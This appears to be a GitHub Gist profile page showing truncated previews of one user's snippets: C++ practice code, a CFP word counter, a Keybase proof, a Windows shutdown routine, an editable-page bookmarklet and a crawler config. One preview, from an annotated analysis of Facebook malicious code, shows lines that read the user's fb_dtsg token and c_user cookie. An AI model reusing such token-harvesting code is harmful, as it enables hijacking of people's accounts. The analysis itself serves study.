Skip to content

Instantly share code, notes, and snippets.

#include <iostream>
#include <vector>
#include <cstring>
#include <queue>
using namespace std;
int main(){
vector<int> n;
char str[100];
char *pch;
priority_queue<int,vector<int>,greater<int> > pq;
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <algorithm>
#include <queue>
#include <stack>
#include <vector>
using namespace std;
struct Edge {
int value;
@s3131212
s3131212 / sitcon-2017-cfp-word-total.js
Last active January 17, 2017 11:39
SITCON 2017 CFP 字數統計
function count(value){
nowChr = 0;
for(var i=0;i<value.length;i++){
value.charCodeAt(i)<256?nowChr++:nowChr+=2;
}
console.log(nowChr/2);
}
count($('body > div.container-body > div > div.col-md-12 > table > tbody > tr:nth-child(3) > td').text())
### Keybase proof
I hereby claim:
* I am s3131212 on github.
* I am s3131212 (https://keybase.io/s3131212) on keybase.
* I have a public key whose fingerprint is 0903 1B49 6913 3C3E 30AA 7FB7 48E0 A4EF EA1E 253C
To claim this, I am signing this object:
@s3131212
s3131212 / Facebook_malicious_code.js
Last active May 23, 2019 14:28
Facebook 惡意代碼分析
/*
* 原始資料來自:
* https://gist.github.com/Inndy/8618115
* 而Allen對此檔案做了更詳細的註解
* 請尊重原始作者,還有執行這程式會悲劇,另外如果我有註解錯誤或是程式錯誤,歡迎提出
*/
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
#include <windows.h>
#pragma comment(lib, "advapi32.lib")
BOOL ShutdownSystem(LPTSTR lpMsg){
HANDLE hToken; // handle to process token
TOKEN_PRIVILEGES tkp; // pointer to token structure
BOOL fResult; // system shutdown flag
// Get the current process token handle so we can get shutdown
@s3131212
s3131212 / SiteEditable
Created August 23, 2013 08:40
Make Website Editable
javascript:document.body.contentEditable = 'true'; document.designMode='on'; void 0
{
"db":{
"host":"127.0.0.1",
"port":3306,
"user":"root",
"password":"",
"database":"crawler"
},
"baseSite":"http://s3131212.com/links/"
}